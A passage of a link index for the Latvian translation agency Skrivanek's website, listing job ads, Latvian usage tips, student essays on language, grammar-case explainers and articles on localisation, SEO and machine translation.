tulkotājs](https://skrivanek.lv/polu-latviesu-un-latviesu-polu-tulkotajs/): Skrivanek meklē prasmīgus tulkotājus latviešu-poļu un poļu-latviešu tekstu tulkošanai. Uzlabojiet starpkultūru saziņu kopā ar mums. Sazinies! - [Latviešu valodas korektors un tekstu autors](https://skrivanek.lv/latviesu-valodas-korektors-un-tekstu-autors/): Skrivanek Baltic aicina komandā latviešu valodas korektoru un tekstu autoru. Nepieciešama atbilstoša izglītība un pieredze ar CAT rīkiem. - [Krievu valodas korektors un tekstu autors](https://skrivanek.lv/krievu-valodas-korektors-un-tekstu-autors/): SKRIVANEK BALTIC AICINA KOMANDĀ KRIEVU VALODAS KOREKTORUS UN TEKSTU AUTORUS JA DOMĀ, VAI... - [Latviešu krievu medicīnas tekstu tulkotājs](https://skrivanek.lv/latviesu-krievu-medicinas-tekstu-tulkotajs/): Skrivanek meklē latviešu krievu medicīnas tekstu tulkotāju. Pievienojieties mums un dodiet savu ieguldījumu veselības aprūpes jomā. - [Is it you, the AI system owner, or maybe nobody?](https://skrivanek.lv/en/is-it-you-the-ai-system-owner-or-maybe-nobody/): Discover the complexities of AI system ownership. Learn who truly owns AI systems and the implications for businesses and individuals. - [Vai mākslīgi veidotas valodas vēl ir modē?](https://skrivanek.lv/vai-maksligi-veidotas-valodas-vel-ir-mode/): Mākslīgi veidotas valodas ir populāras? Ieskaties mūsu blogā, lai uzzinātu vairāk par mākslīgi veidotām valodām un kas tās ir! - [Kādēļ ir svarīgi pievērst uzmanību metadatu tulkošanai?](https://skrivanek.lv/kadel-ir-svarigi-pieverst-uzmanibu-metadatu-tulkosanai/): Vēlies nokļūt meklētāja pirmajā lapā kādā konkrētā valstī? Noteikti jāparūpējas par kvalitatīviem mājaslapas tekstu un metadatu tulkojumiem. - [Šķērsot gājēju pāreju pret šķērsot ielu pa gājēju pāreju](https://skrivanek.lv/skersot-gajeju-pareju-pret-skersot-ielu-pa-gajeju-pareju/): Kurš variants ir pareizs? Ieskaties Skrivanek latviešu valodas padomā! Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Karsta temperatūra vai augsta temperatūra](https://skrivanek.lv/karsta-temperatura-vai-augsta-temperatura/): Vasarā parasti ir karsta vai augsta temperatūra? Ieskaties un uzzini atbildi! Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Kā profesionāli veidoti subtitri palīdzēs uzrunāt vēlamo auditoriju](https://skrivanek.lv/ka-profesionali-veidoti-subtitri-palidzes-uzrunat-velamo-auditoriju/): Lūk, deviņi interesanti fakti, kā profesionāli veidoti subtitri palīdzēs uzrunāt vēlamo auditoriju jau tūlīt! Lasi šajā rakstā! - [Tosteris vai tosters](https://skrivanek.lv/tosteris-vai-tosters/): Vai ierīce maizes šķēļu grsuzdēšanai ir tosteris vai tosters? Ieskaties un uzzini atbildi! Šis un daudzi citi latviešu valodas padomi. - [Jūtūbers un strīmeris vai Youtube satura veidotājs un straumētājs](https://skrivanek.lv/jutubers-un-strimeris-vai-youtube-satura-veidotajs-un-straumetajs/): Ieskaties un uzzini pareizo atbildi. Šis un daudzi citi latviešu valodas padomi vienuviet. Noderīgi gan ikdienā, gan lietišķajā saziņā. - [Voluntieris vai volontieris vai brīvprātīgais](https://skrivanek.lv/voluntieris-vai-volontieris-vai-brivpratigais/): Aleksandrs Lipšics Fizioloģijas institūtā strādāja kā voluntieris, volontieris vai brīvprātīgais? Kurš variants pareizs, noskaidro šeit! - [Podkāsts vai podraide vai raidieraksts](https://skrivanek.lv/podkasts-vai-podraide-vai-raidieraksts/): Kurš variants ir pareizs: podkāsts, podieraksts vai raidieraksts? Ieskaties un uzzini atbildi! Šis un citi latviešu valodas padomi vienuviet. - [Lielo datu apstrādātājs vai datavors vai lieldatnieks](https://skrivanek.lv/lielo-datu-apstradatajs-vai-datavors-vai-lieldatnieks/): Vai zināt, kurš uzņēmums Latvijā ir veiksmīgākais lielo datu apstrādātājs? Vai fatavors? Vai lieldatnieks? Ieskaties šajā valodas padomā! - [Raunds vai posms](https://skrivanek.lv/raunds-vai-posms/): Ir sācies pēdējais politisko cīņu raunds pirms gaidāmajām vēlēšanām. Vai – politisko cīņu posms? Ieskaties šajā latviešu valodas padomā! - [Skvalāns vai skvalēns](https://skrivanek.lv/skvalans-vai-skvalens/): Krēma sastāvā ir skvalēns vai skvalāns? Ieskaties šeit un uzzini atbildi. Šis un daudzi citi latviešu valodas padomi vienuviet. - [Filmas dublāža vai dublēšana vai dublējums](https://skrivanek.lv/filmas-dublaza-vai-dublesana-vai-dublejums/): Filmas dublāžai latviešu valodā jāatrod patiešām labs balss aktieris. Vai – filmas dublēšanai? Dublējumam? Ieskaties un uzzini atbildi! - [Atprečot vai izpirkt](https://skrivanek.lv/atprecot-vai-izpirkt/): Atprečot vai izpirkt – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Iedaļa, sadaļa vai nodaļa](https://skrivanek.lv/iedala-sadala-vai-nodala/): Vai dokuments sastāv no nodaļām, sadaļām, vai iedaļām? Uzzini pareizo atbildi šeit! Šis un citi noderīgi latviešu valodas padomi vienuviet! - [Matrica vai matrice](https://skrivanek.lv/matrica-vai-matrice/): Kāda ir vārdu matrice un matrica lietojuma atšķirība? Ieskaties un uzzini atbildi! Šis un citi latviešu valodas padomi vienuviet! - [Seviļa vai Sevilja](https://skrivanek.lv/sevila-vai-sevilja/): Vai ugunīgā flamenko dzimtene ir Seviļa vai Sevilja? Ieskaties un uzzini atbildi! Šis un daudzi citi latviešu valodas padomi vienuviet! - [Valūtas kalkulators vai valūtu kalkulātors](https://skrivanek.lv/valutas-kalkulators-vai-valutu-kalkulators/): Vai valūtas aprēķinus var vaikt ar valūtas kalkulatoru vai valūtu kalkulātoru? Šis un daudzi citi latviešu valodas padomi vienuviet! - [Kolofonijs vai kalifonijs vai kalifornijs](https://skrivanek.lv/kolofonijs-vai-kalifonijs-vai-kalifornijs/): Apavus, lai neslīd ierīvē ar kolofoniju, kalifoniju vai kaliforniju? Ieskaties un uzzini atbildi! Šis un daudzi citi valodas padomi vienuviet! - [Virzis vai rūteris vai maršrutētājs](https://skrivanek.lv/virzis-vai-ruteris-vai-marsrutetajs/): Kā pareizi saukt datu pārraides tīkla ierīci - virzis, rūteris vai maršrutētājs? Ieskaties šeit un uzzini pareizo atbildi! - [Sorbets vai sorberts](https://skrivanek.lv/sorbets-vai-sorberts/): Mans mīļākais deserts ir sorbets vai sorberts? Ieskaties un uzzini atbildi! Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Brusa vai bruse](https://skrivanek.lv/brusa-vai-bruse/): Vai konstrukcija ir veidota no brusēm vai brusām? Ieskaties un uzzini atbildi! Šis un daudzi citi noderīgi latviešu valodas padomi. - [Kijiva vai Kijeva](https://skrivanek.lv/kijiva-vai-kijeva/): Dosimies uz Kijevu vai Kijivu aplūkot slaveno Kreščatiku? Ieskaties šeit un uzzini kā pareizi raksta Ukrainas galvaspilsētas nosaukumu! - [Loterija vai lotereja](https://skrivanek.lv/loterija-vai-lotereja/): Kā gribētos laimēt loterijā jaunu automobili! Vai ‒ laimēt loterejā? Ieskaties un uzzini pareizo atbildi! Šis un daudzi citi valodas padomi. - [Bāriņtiesa vai bāreņtiesa](https://skrivanek.lv/barintiesa-vai-barentiesa/): Kaimiņu mājā nemitīgi notiek strīdi un bāršanās. Vai tik nebūs jāzvana bāriņtiesai? Vai – bāreņtiesai? Ieskaties un uzzini atbildi! - [Teju vai gandrīz](https://skrivanek.lv/teju-vai-gandriz/): Kāda ir vārdu teju un gandrīz lietojuma atšķirība? Ieskaties šeit un uzzini atbildi! Šis un daudzi citi noderīgi latviešu valodas padomi. - [Abižot vai apbižot](https://skrivanek.lv/abizot-vai-apbizot/): Klasesbiedrus ar raženāku augumu nevajadzētu apbižot. Vai ‒ abižot? Ieskaties šeit un uzzini pareizo atbildi! Šis un citi valodas padomi! - [Dokumentāls vai dokumentārs](https://skrivanek.lv/dokumentals-vai-dokumentars/): Nepieciešams dokumentārs vai dokumentāls pierādījums? Ieskaties un uzzini atbildi! Šis un daudzi citi noderīgi latviešu valodas padomi. - [Dubaja vai Dubaija](https://skrivanek.lv/dubaja-vai-dubaija/): Es tik ļoti gribētu nokļūt Dubajā! Vai – Dubaijā? Kāds ir pareizais šīs pilsētas nosaukums? Ieskaties šeit un uzzini atbildi! - [Rentgens vai rengens vai rentgenss](https://skrivanek.lv/rentgens-vai-rengens-vai-rentgenss/): Kā ir pareizi? Rentgena, rengena vai rentgensa uzņēmums? Uzzini pareizo atbildi šeit. Šis un daudzi citi noderīgi latviešu valodas padomi. - [Arkanzasa vai Ārkanzasa](https://skrivanek.lv/arkanzasa-vai-arkanzasa/): Litlroka kļuva par Ārkanzasas vai Arkanzasas pavalsts administratīvo centru 1836. gadā? Šis un daudzi citi latviešu valodas padomi vienuviet. - [Piena nepanesība vai piena nepanesamība](https://skrivanek.lv/piena-nepanesiba-vai-piena-nepanesamiba/): Vai Kārlim ir govs piens nepanesība vai nepanesamība? Uzzini pareizo atbildi! Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Pirmšķietami vai pirmsšķietami](https://skrivanek.lv/pirmskietami-vai-pirmsskietami/): Pārsūdzētais administratīvais akts ir pirmšķietami vai pirmsšķietami prettiesisks? Ieskaties šeit un uzzini pareizo atbildi! - [Pie tam, pietam, bez tam vai turklāt](https://skrivanek.lv/pie-tam-pietam-bez-tam-vai-turklat/): Estere savam korgijam deva ciltsrakstiem atbilstošu vārdu, turklāt arī viegli izrunājamu. Vai – pie tam viegli izrunājamu? - [Zudība vai zūdība](https://skrivanek.lv/zudiba-vai-zudiba/): Vakardienas dzīres kaimiņiem beidzās ne tikai ar mantas zudību. Vai – zūdību? Ieskaties šeit un uzzini pareizo atbildi! - [Franči vai francūži](https://skrivanek.lv/franci-vai-francuzi/): Francūži ir viena no romantiskākajām tautām pasaulē. Vai — franči? Ieskaties un uzzini pareizo atbildi! Šis un daudzi citi valodas padomi. - [Patiesais labuma guvējs vai patiesā labuma guvējs](https://skrivanek.lv/patiesais-labuma-guvejs-vai-patiesa-labuma-guvejs/): Patiesais labuma guvējs/patiesā labuma guvējs – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Nule vai nulle](https://skrivanek.lv/nule-vai-nulle/): Nule kā apsēdies, Pēteris jau sajutās kā apaļa nulle. Vai – nulle kā apsēdies? Šis un daudzi citi noderīgi latviešu valodas padomi. - [Noslauciet vai noslaukiet](https://skrivanek.lv/noslauciet-vai-noslaukiet/): Pirms galda klāšanas to, lūdzu, noslaukiet! Vai – noslauciet? Šis un citi noderīgi latviešu valodas padomi vienuviet! - [Uz saites vai uz saiti](https://skrivanek.lv/uz-saites-vai-uz-saiti/): Lai aplūkotu piedāvājumu, spiediet uz saiti vai – spiediet uz saites? Kā ir pareizi? Šis un citi noderīgi latviešu valodas padomi vienuviet! - [Ak, Dievs vai Ak Dievs](https://skrivanek.lv/ak-dievs-vai-ak-dievs/): Ak Dievs, kā laiks paskrējis! Vai – Ak, Dievs, kā laiks paskrējis! Kurš variants ir pareizs? Lasi šajā latviešu valodas padomā! - [Zanes Bondares eseja](https://skrivanek.lv/zanes-bondares-eseja/): Autors: Zane Bondare, Latvijas Universitāte ESEJA “VALODA – MANA IESPĒJA! ” Ai dzimtā valodiņa, Cik man... - [Liānas Belovas eseja](https://skrivanek.lv/lianas-belovas-eseja/): Autors: Liāna Belova, Biznesa, mākslas un tehnoloģiju augstskola “RISEBA” ESEJA “VALODA – MANA IESPĒJA! ” Valoda ir... - [Agneses Puisānes eseja](https://skrivanek.lv/agneses-puisanes-eseja/): Autors: Agnese Puisāne, Daugavpils Universitāte ESEJA “VALODA – MANA IESPĒJA! ” No stūru stūriem, malu malām, pa... - [Elīzas Koļesņikovas eseja](https://skrivanek.lv/elizas-kolesnikovas-eseja/): Autors: Elīza Koļesņikova, Daugavpils Universitāte ESEJA “VALODA – MANA IESPĒJA! ” Valoda ir bērns. Tā aug līdzi... - [Laimas Grišules eseja](https://skrivanek.lv/laimas-grisules-eseja/): Autors: Laima Grišule, Daugavpils Universitāte ESEJA “VOLŪDA – MUNA ĪSPIEJA! ” Puordūmojūt volūdys vaicojumus, bīži atguodoju Danskovītis... - [Lāsmas Vucānes eseja](https://skrivanek.lv/lasmas-vucanes-eseja/): Autors: Lāsma Vucāne, Daugavpils Universitāte ESEJA “VALODA – MANA IESPĒJA! ” Valoda iespēju sākums, kas sniedzas pāri... - [Poļinas Maļuhinas eseja](https://skrivanek.lv/polinas-maluhinas-eseja/): Autors: Poļina Maļuhina, Daugavpils Universitāte ESEJA “VALODA – MANA IESPĒJA! ” Valoda ir kā bezgalīgs klāsts, kas... - [Sarmītes Ruskules eseja](https://skrivanek.lv/sarmites-ruskules-eseja/): Autors: Sarmīte Ruskule, Daugavpils Universitāte ESEJA “VALODA – MANA IESPĒJA! ” Zilo ezeru zemē ar smaidu, līdz... - [Sintijas Onužānes eseja](https://skrivanek.lv/sintijas-onuzanes-eseja/): Autors: Sintija Onužāne, Jāzepa Vītola Latvijas Mūzikas akadēmija ESEJA “VALODA – MANA IESPĒJA! ” Ikdienā sastopamies ar... - [Annas Šmites eseja](https://skrivanek.lv/annas-smites-eseja/): Autors: Anna Šmite, Latvijas Biozinātņu un tehnoloģiju universitāte ESEJA “VALODA – MANA IESPĒJA! ” Mūsu skaistā, izkoptā... - [Evitas Pīlēģes eseja](https://skrivanek.lv/evitas-pileges-eseja/): Autors: Evita Pīlēģe, Latvijas Biozinātņu un tehnoloģiju universitāte ESEJA “ES ESMU VALODA” Es esmu valoda. Tu... - [Ilzes Stīpnieces eseja](https://skrivanek.lv/ilzes-stipnieces-eseja/): Autors: Ilze Stīpniece, Latvijas Biozinātņu un tehnoloģiju universitāte ESEJA “VALODA – MANA IESPĒJA! ” “Dēliņ, es Tevi... - [Kaspara Stolipina eseja](https://skrivanek.lv/kaspara-stolipina-eseja/): Autors: Kaspars Stolipins, Latvijas Biozinātņu un tehnoloģiju universitāte ESEJA “VALODA – MANA IESPĒJA! ” Es varu dusmuotīs... - [Karolīnas Krauzes eseja](https://skrivanek.lv/karolinas-krauzes-eseja/): Autors: Karolīna Krauze, Latvijas Kultūras akadēmija ESEJA “VALODA – MANA IESPĒJA! ” Es iemērcu kājas dzidrajā strautā... - [Krisa Gruntes eseja](https://skrivanek.lv/krisa-gruntes-eseja/): Autors: Krišs Grunte, Latvijas Kultūras akadēmija ESEJA “PASAULES PIRMS VĀRDIEM” Tu teiksi, ka valoda ir arbitrāra... - [Agneses Prikazas eseja](https://skrivanek.lv/agneses-prikazas-eseja/): Autors: Agnese Prikaza, Latvijas Sporta pedagoģijas akadēmija ESEJA “VALODA – MANA IESPĒJA! ” Katram no mums šūpulī... - [Dilana Ķēniņa eseja](https://skrivanek.lv/dilana-kenina-eseja/): Autors: Dilans Ķēniņš, Latvijas Sporta pedagoģijas akadēmija ESEJA “VALODA – MANA IESPĒJA! ” Valoda ir cilvēka pieredzes... - [Valērijas Bules eseja](https://skrivanek.lv/valerijas-bules-eseja/): Autors: Valērija Bule, Latvijas Sporta pedagoģijas akadēmija ESEJA “VALODA – MANA IESPĒJA! ” Valoda kā aizsargbarjera? Viennozīmīgi,... - [Alises Zitas Zeidakas eseja](https://skrivanek.lv/alises-zitas-zeidakas-eseja/): Autors: Alise Zita Zeidaka, Latvijas Universitāte ESEJA “VALODA – MANA IESPĒJA! ” Atceries dziesmu, kurā ir tā... - [Arīnas Baranovas eseja](https://skrivanek.lv/arinas-baranovas-eseja/): Autors: Arīna Baranova, Latvijas Universitāte ESEJA “VALODA – MANA IESPĒJA! ” Personības pilnveidošanā viena no vissvarīgākajām lomām... - [Edmunda Dariāna Kropa eseja](https://skrivanek.lv/edmunda-dariana-kropa-eseja/): Autors: Edmunds Dariāns Krops, Latvijas Universitāte ESEJA “VALODA – MANA IESPĒJA! ” Pilnīgākā tumsa, mitra, taču ļoti... - [Elenas Vaskas eseja](https://skrivanek.lv/elenas-vaskas-eseja/): Autors: Elena Vaska, Latvijas Universitāte ESEJA “VALODA – MANA IESPĒJA! ” Valoda, tāpat kā valsts karogs, ir... - [Katrīnas Bušas eseja](https://skrivanek.lv/katrinas-busas-eseja/): Autors: Katrīna Buša, Latvijas Universitāte ESEJA “VALODA – MANA IESPĒJA! ” Pretēji lietus lāsei, kas, iekrītot jūrā,... - [Lauras Laizānes eseja](https://skrivanek.lv/lauras-laizanes-eseja/): Autors: Laura Laizāne, Latvijas Universitāte ESEJA “VALODA – MANA IESPĒJA! ” Muna asinsgrupa i DNS kods līcynoj,... - [Maijas Grosas eseja](https://skrivanek.lv/maijas-grosas-eseja/): Autors: Maija Grosa, Latvijas Universitāte ESEJA “VALODA – MANA IESPĒJA! ” Pasaulē ir apmēram seši līdz septiņi... - [Paulas Sonitas Derumas eseja](https://skrivanek.lv/paulas-sonitas-derumas-eseja/): Autors: Paula Sonita Deruma, Latvijas Universitāte ESEJA “VALODA – MANA IESPĒJA! ” Daudzi mūsdienu jaunieši, prātojot... - [Violetas Lisovskas eseja](https://skrivanek.lv/violetas-lisovskas-eseja/): Autors: Violeta Lisovska, Latvijas Universitāte ESEJA “VALODA – MANA IESPĒJA! ” Jau kopš seniem laikiem ir bijusi... - [Dārtas Andersones eseja](https://skrivanek.lv/dartas-andersones-eseja/): Autors: Dārta Andersone, Liepājas Universitāte ESEJA “VALODA – MANA IESPĒJA! ” Domājot par savām iespējām, vienādojuma centrā... - [Elizabetes Kļavas eseja](https://skrivanek.lv/elizabetes-klavas-eseja/): Autors: Elizabete Kļava, Liepājas Universitāte ESEJA “VALODA – MANA IESPĒJA! ” Valoda ir neierobežoti skaista. Tā ir... - [Ulrikas Ūpes eseja](https://skrivanek.lv/ulrikas-upes-eseja/): Autors: Ulrika Ūpe, Liepājas Universitāte ESEJA “VALODA – MANA IESPĒJA! ” Turpat 100 gadus Latvijā ieviestas svinības... - [Evikas Muiznieces eseja](https://skrivanek.lv/evikas-muiznieces-eseja/): Autors: Evika Muizniece, Rēzeknes Tehnoloģiju akadēmija ESEJA “VALODA – MANA IESPĒJA! ” Es esmu netulkojama vienība, netulkojama... - [Signijas Igaunes eseja](https://skrivanek.lv/signijas-igaunes-eseja/): Autors: Signija Igaune, Rēzeknes Tehnoloģiju akadēmija ESEJA “VOLŪDA – MUNA ĪSPIEJA” Burts. Vuords. Frāzja. Teikums. Ryndkūpa... . - [Aleksandras Gailītes eseja](https://skrivanek.lv/aleksandras-gailites-eseja/): Autors: Aleksandra Gailīte, Rīgas Stradiņa universitāte ESEJA “VALODA – MANA IESPĒJA! ” Nereti, domājot par valodām, kas... - [Jekaterinas Lapickas eseja](https://skrivanek.lv/jekaterinas-lapickas-eseja/): Autors: Jekaterina Lapicka, Rīgas Stradiņa universitāte ESEJA “VALODA – MANA IESPĒJA! ” Jau no agras bērnības mēs... - [Jeļizavetas Merkulovas eseja](https://skrivanek.lv/jelizavetas-merkulovas-eseja/): Autors: Jeļizaveta Merkulova, Rīgas Stradiņa universitāte ESEJA “VALODA – MANA IESPĒJA! ” Mūsdienu pasaulē bieži dzirdu frāzi,... - [Sintijas Strazdiņas eseja](https://skrivanek.lv/sintijas-strazdinas-eseja/): Autors: Sintija Strazdiņa, Rīgas Stradiņa universitāte ESEJA “VALODA – MANA IESPĒJA! ” Valodas definīcija vēsta, ka tā... - [Ances Lepses eseja](https://skrivanek.lv/ances-lepses-eseja/): Autors: Ance Lepse, Rīgas Tehniskā universitāte ESEJA “VALODA – MANA IESPĒJA! ” Latviešu valoda ir mana iespēja... - [Elīnas Štenceles eseja](https://skrivanek.lv/elinas-stenceles-eseja/): Autors: Elīna Štencele, Rīgas Tehniskā universitāte ESEJA “VALODA – MANA IESPĒJA! ” Klusums. Esmu ievilkusi elpu, lai... - [Jeļisavetas Kuļikovas eseja](https://skrivanek.lv/jelisavetas-kulikovas-eseja/): Autors: Jeļisaveta Kuļikova, Rīgas Tehniskā universitāte ESEJA “VALODA – MANA IESPĒJA! ” Austriešu-britu filozofs – Ludvigs... - [Klintas Madaras Greilihas eseja](https://skrivanek.lv/klintas-madaras-greilihas-eseja/): Autors: Klinta Madara Greiliha, Rīgas Tehniskā universitāte ESEJA “VALODA – MANA IESPĒJA! ” “Čau! ” – vārds, kas... - [Dāvida Rubena eseja](https://skrivanek.lv/davida-rubena-eseja/): Autors: Dāvids Rubens, Rīgas Tehniskā universitāte ESEJA “VOLŪDA – MUNA ĪSPIEJA” Volūdnīkim tei ir maize, politikim... - [Liegas Krasovskas eseja](https://skrivanek.lv/liegas-krasovskas-eseja/): Autors: Liega Krasovska, Rīgas Tehniskā universitāte ESEJA “VALODA – MANA IESPĒJA! ” Valoda ir sākums. Valoda esam... - [Māras Laganovskas eseja](https://skrivanek.lv/maras-laganovskas-eseja/): Autors: Māra Laganovska, Ventspils Augstskola ESEJA “VALODA – MANA IESPĒJA! ” Valoda ir viss. Pilnīgi viss. Tā... - [Renātes Rodionovas eseja](https://skrivanek.lv/renates-rodionovas-eseja/): Autors: Renāte Rodionova, Baltijas Starptautiskā akadēmija ESEJA “VALODA – MANA IESPĒJA! ” Valoda ir iespēja, kas veido... - [What is – Internationalization (i18n), Localization (l10n), Globalization (g11n) un Localizability (l12y)](https://skrivanek.lv/kas-ir-kas-internationalization-i18n-localization-l10n-globalization-g11n-un-localizability-l12y/): What are internationalisation, localisation, globalisation and localisability? Worth reading to avoid getting confused by these translation terms. - [What is UX and what is UI?](https://skrivanek.lv/kas-ir-ux-un-kas-ir-ui/): What is UX or user experience? What is UI or user interface? What is the difference between UX and UI? How we can help you? - [Kas ir kas – Internationalization (i18n), Localization (l10n), Globalization (g11n) un Localizability (l12y)](https://skrivanek.lv/kas-ir-kas-internationalization-i18n-localization-l10n-globalization-g11n-un-localizability-l12y/): Kas ir internacionalizācija, lokalizācija, globalizācija un lokalizējamība? Vērts izlasīt, lai neapjuktu šajos tulkojumu terminos. - [Kas ir UX un kas ir UI?](https://skrivanek.lv/kas-ir-ux-un-kas-ir-ui/): Kāda ir atšķirība starp UX un UI? Kāda ir to nozīme digitālajā mārketingā un kā tulkošanas birojs Skrivanek jums var palīdzēt? Uzziniet šeit. - [Eiropas Ekonomikas zona vai Eiropas Ekonomiskā zona](https://skrivanek.lv/eiropas-ekonomikas-zona-vai-eiropas-ekonomiska-zona/): Ieskaties un uzzini pareizo atbildi! Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! Skrivanek - [What is keyword research? How to attract your audience online?](https://skrivanek.lv/kas-ir-atslegas-vardu-izpete-ka-piesaistit-merkauditoriju-tiessaiste/): It's important to research keywords when creating a website or marketing campaign. Skrivanek SEO specialists perform keyword research and website optimisation. - [Локализация домашней страницы: 9 простых шагов](https://skrivanek.lv/timekla-vietnes-lokalizesana-9-vienkarsos-solos/): После того как сайт локализован, он должен быть понятным, легко читаемым и полностью соответствовать тому, как клиенты общаются с вами на ежедневной основе. - [Kas ir atslēgas vārdu izpēte? Kā piesaistīt mērķauditoriju tiešsaistē?](https://skrivanek.lv/kas-ir-atslegas-vardu-izpete-ka-piesaistit-merkauditoriju-tiessaiste/): Atslēgas vārdu izpēte ir būtiska, lai piesaistītu mērķauditoriju tiešsaistē. Uzzini, kādi ir atslēgas vārdu izpētes ieguvumi šajā rakstā! - [Teie veebisaidi lokaliseerimine 9 lihtsa sammuga](https://skrivanek.lv/timekla-vietnes-lokalizesana-9-vienkarsos-solos/): Pärast lokaliseerimist peaks teie veebisaidi tekst tunduma klientide jaoks loomulik. See peaks olema kergesti loetav, olles täielikult kooskõlas sellega, kuidas teie kliendid tavaliselt suhtlevad. - [Svētā Valentīna diena, Valentīna diena vai Valentīndiena](https://skrivanek.lv/sveta-valentina-diena-valentina-diena-vai-valentindiena/): Kā pareizi rakstāms Mīlestības svētku dienas nosaukums? Ieskaties šajā latviešu valodas padomā un uzzini atbildi! - [Tīmekļa vietnes lokalizēšana 9 vienkāršos soļos](https://skrivanek.lv/timekla-vietnes-lokalizesana-9-vienkarsos-solos/): Pēc jūsu tīmekļa vietnes lokalizācijas tai jābūt saprotamai, viegli lasāmai, pilnībā atbilstot tam, kā ikdienā sazināsjūsu klienti - [Ko Tu nezināji par darbu mūsdienīgā tulkošanas birojā?](https://skrivanek.lv/ko-tu-nezinaji-par-darbu-musdieniga-tulkosanas-biroja/): Ko dara tulkošanas biroju darbinieki? Lokalizācija, unikāla satura veidošana, lietotāju pieredzes uzlabošana, satura pielāgošana, pat mākslīgā intelekta izmantošana. - [Kas kopējs hotdogiem un tulkošanai?](https://skrivanek.lv/kas-kopejs-hotdogiem-un-tulkosanai/): Vai jūs zināt to video, kur robots gatavo hotdogu, bet cīsiņš netrāpa maizītē, un tad viss noiet greizi? Iedomāsimies, ka tulkojums ir šāds hotdogs. 💡 - [Debitēt pret debetēt](https://skrivanek.lv/debitet-pret-debetet/): Bankai ir tiesības debetēt kontu bez iepriekšējas saskaņošanas. Vai – debitēt? Ieskaties un uzzini atbildi! - [Tulkošanas birojs – kā darbojas tulkošanas nozare Latvijā?](https://skrivanek.lv/tulkosanas-birojs-ka-darbojas-tulkosanas-nozare-latvija/): Šajā rakstā uzzināsi svarīgāko par tulkošanas biroju darbību, tulkošanas nozares aktualitātēm un tulkošanas pakalpojumu priekšrocībām. 👍️ - [10 interesanti fakti, ko tu nezināji par Ziemassvētkiem](https://skrivanek.lv/10-interesanti-fakti-ko-tu-nezinaji-par-ziemassvetkiem/): Kas radīja ziemeļbriedi Rūdolfu? Vai Ziemassvētku vecītis vienmēr vilcis sarkanu kostīmu? Kurš izrotāja pirmo eglīti? 🎄 Interesanti fakti par Ziemassvētkiem. - [10 interesting facts you didn't know about Christmas](https://skrivanek.lv/10-interesanti-fakti-ko-tu-nezinaji-par-ziemassvetkiem/): Who created Rudolph the reindeer? Has Santa always worn a red suit? Who decorated the first Christmas tree?🎄 Interesting facts about Christmas - [Krievu alfabēts](https://skrivanek.lv/krievu-alfabets/): Krievu valodas alfabēts ir vienkāršota kirilicas modifikācija. Šajā rakstā lasiet par tā izcelsmi un citiem interesantiem faktiem. - [Kas ir mašīntulkošana?](https://skrivanek.lv/kas-ir-masintulkosana/): Mašīntulkošana ir rakstīta vai arī runāta teksta tulkošana, kuru veic dators, nevis cilvēks ─ tulkotājs. Vairāk par mašīntulkojumu šeit. - [Vokatīvs](https://skrivanek.lv/vokativs/): Vokatīvs ir uzrunas locījums latviešu valodā. Vokatīva locījumam nav jautājuma. Uzzini vairāk šajā rakstā. - [Tulkojumi eksporta tirgiem. LIAA atbalsta programmas.](https://skrivanek.lv/tulkojumi-eksporta-tirgiem-liaa-atbalsta-programmas/): LIAA atbalsta programma, kas saistīta ar tīmekļvietnes, internetveikalu, aplikāciju digitālo risinājumu un virtuālās saziņas platformu izstrādi eksporta tirgiem. - [Instrumentālis](https://skrivanek.lv/instrumentalis/): Instrumentālis ir viens no lietvārda gramatiskajiem locījumiem, kas atbild uz jautājumu – ar ko? Uzzini vairāk šajā rakstā. - [Lokatīvs](https://skrivanek.lv/lokativs/): Lokatīvs ir gramatiskais locījums, kas atbild uz jautājumu – “kur”? Uzzini kad šo locījumu lieto šajā rakstā! - [Noderīgas vārdnīcas internetā](https://skrivanek.lv/noderigas-vardnicas-interneta/): Noderīgas latviešu, angļu un lietuviešu valodas vārdnīcas internetā. Ieskaties! - [Grieķu alfabēts](https://skrivanek.lv/grieku-alfabets/): Grieķu alfabēts sastāv no 24 burtiem un tas tiek lietots grieķu valodas pierakstīšanai jau kopš 8. gs. p. m. ē. Uzzini kādi tie ir šajā rakstā. - [Vecvārdi](https://skrivanek.lv/vecvardi/): Vecvārdi ir novecojuši vārdi, kurus mūsdienās lieto reti vai nelieto nemaz. Kas ir historismi un arhaismi? Ar ko tie atšķiras? - [Vai valodas var svinēt?](https://skrivanek.lv/vai-valodas-var-svinet/): Kādas ir valodas svinēšanas tradīcijas Latvijā un pasaulē? Lasi šajā rakstā! - [Starptautiskā dzimtās valodas diena](https://skrivanek.lv/starptautiska-dzimtas-valodas-diena/): Kas ir Starptautiskā dzimtās valodas diena? Kad, kādās valstīs un kā tā tiek atzīmēta? Vairāk uzzināsi šajā rakstā. - [Valsts valodas diena](https://skrivanek.lv/valsts-valodas-diena/): Latviešu valodas diena tiek svinēta 15. oktobrī. Svinību mērķis ir godināt latviešu valodu kā vienīgo mūsu valsts valodu. - [Kas ir locījums?](https://skrivanek.lv/kas-ir-locijums/): Locījums ir lietvārda gramatiskā kategorija, kas izsaka priekšmetu, procesu vai pazīmju savstarpējās attieksmes. Latviešu valodā tie ir 7. - [Nominatīvs](https://skrivanek.lv/nominativs/): Nominatīvs latviešu valodā ir locījums, kas parasti apzīmē darbības darītāju. Tas atbild uz jautājumu − kas? - [Ģenitīvs](https://skrivanek.lv/genitivs/): Ģenitīvs ir locījums, kas norāda uz piederību vai cilmi. Tas atbild uz jautājumu – kā? - [Datīvs](https://skrivanek.lv/dativs/): Latviešu valodā datīvs norāda, ka kaut kas tiek dots. Datīva locījumu teikumā veido, izmantojot prievārdus vai vietniekvārdus. Tas atbild uz jautājumu − kam? - [Akuzatīvs](https://skrivanek.lv/akuzativs/): Akuzatīvs ir vārda locījums, kas paskaidro teikuma priekšmetu vai personu. Akuzatīvs atbild uz jautājumu – ko? - [Grieķu valodas nozīmīgums zinātnes un atklājumu pasaulē](https://skrivanek.lv/grieku-valodas-nozimigums-zinatnes-un-atklajumu-pasaule/): Grieķu valoda ir ne tikai skaista valoda, tai ir arī tūkstošiem gadu sena vēsture un liela ietekme uz daudzu pasaules valodu 